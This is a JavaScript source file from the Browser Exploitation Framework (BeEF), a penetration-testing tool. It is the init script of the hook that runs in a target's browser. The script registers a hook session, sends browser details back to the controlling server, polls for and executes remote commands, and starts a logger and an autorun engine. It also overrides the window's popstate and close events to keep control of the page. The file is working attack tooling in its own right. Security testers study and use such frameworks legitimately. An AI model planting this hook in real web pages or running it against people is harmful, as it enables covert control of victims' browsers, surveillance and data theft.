81 lines
2.5 KiB
JavaScript
81 lines
2.5 KiB
JavaScript
//
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// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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/**
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* @literal object: beef.init
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* Contains the beef_init() method which starts the BeEF client-side
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* logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
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*
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* If beef.pageIsLoaded is true, then this JS has been loaded >1 times
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* and will have a new session id. The new session id will need to know
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* the brwoser details. So sendback the browser details again.
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*/
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BEEFHOOK = beef.session.get_hook_session_id();
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if (beef.pageIsLoaded) {
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beef.net.browser_details();
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}
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window.onload = function () {
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beef_init();
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};
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window.onpopstate = function (event) {
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if (beef.onpopstate.length > 0) {
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event.preventDefault;
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for (var i = 0; i < beef.onpopstate.length; i++) {
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var callback = beef.onpopstate[i];
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try {
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callback(event);
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} catch (e) {
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console.log("window.onpopstate - couldn't execute callback: " + e.message);
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}
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return false;
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}
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}
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};
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window.onclose = function (event) {
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if (beef.onclose.length > 0) {
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event.preventDefault;
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for (var i = 0; i < beef.onclose.length; i++) {
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var callback = beef.onclose[i];
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try {
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callback(event);
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} catch (e) {
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console.log("window.onclose - couldn't execute callback: " + e.message);
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}
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return false;
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}
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}
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};
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/**
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* Starts the polling mechanism, and initialize various components:
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* - browser details (see browser.js) are sent back to the "/init" handler
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* - the polling starts (checks for new commands, and execute them)
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* - the logger component is initialized (see logger.js)
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* - the Autorun Engine is initialized (see are.js)
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*/
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function beef_init() {
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if (!beef.pageIsLoaded) {
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beef.pageIsLoaded = true;
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if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
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beef.websocket.start();
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beef.net.browser_details();
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beef.updater.execute_commands();
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beef.logger.start();
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beef.are.init();
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}else {
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beef.net.browser_details();
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beef.updater.execute_commands();
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beef.updater.check();
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beef.logger.start();
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beef.are.init();
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}
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}
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}
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